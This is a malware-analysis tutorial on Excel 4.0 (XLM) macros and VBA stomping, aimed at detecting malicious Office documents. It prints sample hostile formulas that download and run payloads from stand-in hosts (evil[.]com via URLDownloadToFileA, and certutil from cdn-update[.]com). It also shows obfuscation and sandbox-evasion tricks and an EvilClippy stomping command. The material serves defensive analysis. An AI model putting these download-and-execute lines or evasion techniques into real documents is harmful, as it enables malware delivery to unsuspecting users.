Excel 4.0 (XLM) Macros & VBA Stomping
Excel 4.0 Macros (XLM) -- The Legacy Threat
Why XLM Macros Are Dangerous
Excel 4.0 macros (also called XLM macros) predate VBA and use cell formulas as executable code. They experienced a dramatic resurgence in malware campaigns starting around 2018 because:
- Many security tools do not detect them -- AV engines and sandboxes focused on VBA often miss XLM entirely
- They do not appear in the VBA editor -- analysts who open the file in Excel and check the VBA editor see nothing
- They can call Windows API functions via the
CALL()andREGISTER()formulas - They can execute system commands via the
EXEC()formula - They work in all Excel versions that support .xls (BIFF8) and even some .xlsm files
- They bypass some macro-disabled policies -- some organizations only block VBA, not XLM
Real-world prevalence: XLM macros were heavily used by threat groups distributing Emotet, TrickBot, Dridex, QakBot, and ZLoader between 2019-2023.
How XLM Macros Work
XLM macros operate differently from VBA -- they use spreadsheet cells as program instructions:
How it works:
1. Attacker creates a new sheet in the workbook
2. Sheet type is set to "Excel 4.0 Macro Sheet" (not a regular worksheet)
3. The sheet is typically hidden (or very hidden)
4. Cells in column A contain formulas that execute sequentially:
A1: =EXEC("cmd /c whoami > C:\temp\out.txt")
A2: =CALL("urlmon","URLDownloadToFileA","JCCB",0,
"http://evil[.]com/payload.exe","C:\temp\svc.exe",0,0)
A3: =EXEC("C:\temp\svc.exe")
A4: =HALT()
Common XLM Malicious Functions
| Formula | Purpose | Example |
|---|---|---|
=EXEC() | Execute a system command | =EXEC("cmd /c powershell...") |
=CALL() | Call a Windows DLL function | =CALL("urlmon","URLDownloadToFileA",...) |
=REGISTER() | Register a DLL function for use | =REGISTER("kernel32","WinExec","JCJ") |
=HALT() | Stop macro execution | =HALT() |
=GOTO() | Jump to another cell | =GOTO(Sheet2!A1) |
=IF() | Conditional execution | =IF(GET.WORKSPACE(13)>770,A2,A5) |
=GET.WORKSPACE() | Probe system environment | Sandbox detection (screen width, etc.) |
=FORMULA() | Write formula to another cell | Self-modifying macro behavior |
=CHAR() | Build strings character by character | Obfuscation via ASCII values |
Auto-Execute Mechanisms for XLM
XLM macros auto-execute through Excel's "defined names" feature:
Method 1: Auto_Open defined name
- A defined name "Auto_Open" points to the first macro cell
- Example: Auto_Open -> Sheet1!$A$1
Method 2: Sheet-level auto-execute
- The macro sheet itself has an auto-execute property
- Set in the sheet's properties (not visible in normal UI)
Hiding Techniques
Attackers hide XLM macro sheets using Excel's visibility options:
| Visibility | How to Unhide | Detection |
|---|---|---|
| Hidden | Right-click sheet tab -> Unhide | Easy to find |
| Very Hidden | Only via VBA editor or hex edit | Requires tools to detect |
| White text on white | Change font/background color | Visual inspection fails |
Detecting XLM Macros
# Method 1: olevba detects XLM macros
olevba suspicious.xls
# Look for output:
# "Excel 4.0 Macros detected"
# "XLM macro found in sheet 'Macro1'"
# Method 2: oledump with plugin
oledump.py -p plugin_biff.py suspicious.xls
# Shows BIFF records including macro sheet indicators
# Method 3: XLMMacroDeobfuscator (specialized)
pip install XLMMacroDeobfuscator
xlmdeobfuscator --file suspicious.xls
XLMMacroDeobfuscator -- Specialized XLM Analysis
# Basic deobfuscation (extract and resolve formulas)
xlmdeobfuscator --file suspicious.xls
# With full emulation (resolves CALL/EXEC at runtime)
xlmdeobfuscator --file suspicious.xls -x
# Extract formulas without emulation
xlmdeobfuscator --file suspicious.xls --no-emulation
# Output to file
xlmdeobfuscator --file suspicious.xls -x -o output.txt
Example output:
CELL:A1, Formula:=EXEC("cmd /c certutil -urlcache -split -f
http://cdn-update[.]com/v2/payload.exe C:\Users\Public\svc.exe")
CELL:A2, Formula:=EXEC("C:\Users\Public\svc.exe")
CELL:A3, Formula:=HALT()
XLM Obfuscation Techniques
Attackers obfuscate XLM formulas to evade static detection:
Technique 1: CHAR() building
=CHAR(99)&CHAR(109)&CHAR(100) -> "cmd"
Technique 2: Formula chaining across cells
A1: ="cm" B1: =A1&A2
A2: ="d" B2: =EXEC(B1&" /c calc.exe")
Technique 3: GET.WORKSPACE() for sandbox detection
A1: =IF(GET.WORKSPACE(13)>770, A2, A5)
(Only execute payload if screen width > 770px)
Technique 4: FORMULA() for self-modification
A1: =FORMULA("=EXEC(""calc.exe"")", B1)
A2: =GOTO(B1)
VBA Stomping -- P-code vs Source Code Attacks
What Is VBA Stomping?
VBA macros in Office documents actually exist in two parallel forms within the OLE2 storage:
| Form | Storage Location | Purpose |
|---|---|---|
| VBA source code | CompressedSourceCode in each module stream | Human-readable, what olevba extracts |
| P-code (Performance code) | PerformanceCache in each module stream | Pre-compiled bytecode, what Office executes |
Normally, these two forms contain equivalent logic. In VBA stomping, an attacker deliberately creates a mismatch:
Normal document:
VBA Source: Sub AutoOpen(): Shell "calc.exe": End Sub
P-code: Sub AutoOpen(): Shell "calc.exe": End Sub
-> Both match. Analyst sees what actually executes.
VBA-stomped document:
VBA Source: Sub AutoOpen(): MsgBox "Hello": End Sub <- BENIGN (decoy)
P-code: Sub AutoOpen(): Shell "powershell ...": End Sub <- MALICIOUS
-> Analyst sees benign code, but Office executes the P-code!
How VBA Stomping Works
- Author creates a document with a malicious macro in a specific Office version
- The malicious P-code is compiled and stored in the PerformanceCache
- Author replaces the VBA source code with benign/empty content using tools like EvilClippy
- When Office opens the file on a matching version, it uses the cached P-code (fast path)
- The VBA source is never compiled -- the malicious P-code executes instead
Important limitation: P-code is version-specific. If the victim's Office version differs from the attacker's, Office recompiles the (benign) VBA source instead. This limits VBA stomping effectiveness.
Detecting VBA Stomping
# Method 1: olevba automatic detection
olevba suspicious.doc
# Look for:
# "WARNING: VBA source code and target P-code are different"
# "This may indicate VBA Stomping"
# Method 2: Extract P-code with pcodedmp
pip install pcodedmp
pcodedmp suspicious.doc > pcode_output.txt
# Method 3: Compare P-code vs VBA source
olevba suspicious.doc > vba_source.txt
pcodedmp suspicious.doc > pcode_output.txt
diff vba_source.txt pcode_output.txt
# Significant differences indicate VBA stomping
# Method 4: Use EvilClippy to detect stomping
# (EvilClippy was created to perform stomping, but can detect it too)
Creating VBA-Stomped Documents (for testing)
# EvilClippy can stomp VBA for detection testing
# -s flag replaces VBA source with dummy code
evilclippy -s fakesource.vba malicious.doc
# The result has malicious P-code but benign VBA source
Protected and Encrypted Documents
Password-Protected VBA Projects
# Method 1: olevba ignores VBA project passwords
olevba protected.doc
# Works directly -- VBA password does not prevent extraction
# Method 2: Remove password with evilclippy
evilclippy -uu protected.doc
# Creates a copy with project password removed
# Method 3: Hex-edit approach
# Find "DPB=" in the OLE stream and replace with "DPx="
# This corrupts the password hash; Office ignores it on open
Document-Level Encryption
# Decrypt with msoffcrypto-tool (when password is known)
pip install msoffcrypto-tool
msoffcrypto-tool -p "infected" encrypted.doc decrypted.doc
# Common maldoc passwords: infected, malware, virus, password, 123456
# The password is often included in the phishing email body
# For unknown passwords: check the email text or sandbox report
Pro Tip: Malware authors often encrypt maldocs with simple passwords like "infected" or "123456" to bypass email gateway scanning. The password is provided to the victim in the phishing email.
Common Pitfalls
- Assuming VBA editor shows everything -- XLM macros and P-code attacks are invisible in the VBA editor
- Trusting VBA source code alone -- Always check P-code with pcodedmp when olevba flags VBA stomping
- Missing "very hidden" sheets -- Use oledump or XLMMacroDeobfuscator to find them
- Ignoring version-specific P-code -- VBA stomping only works when Office versions match
- Not checking for encrypted maldocs -- Look for the password in the email body
ATT&CK Mapping
| Technique | ID | Relevance |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | Delivery mechanism |
| User Execution: Malicious File | T1204.002 | Victim opens document |
| Command and Scripting Interpreter: VBA | T1059.005 | XLM/VBA execution |
| Obfuscated Files or Information | T1027 | CHAR() obfuscation, VBA stomping |
| Signed Binary Proxy Execution | T1218 | certutil, mshta in download commands |
| Ingress Tool Transfer | T1105 | URLDownloadToFile via CALL() |
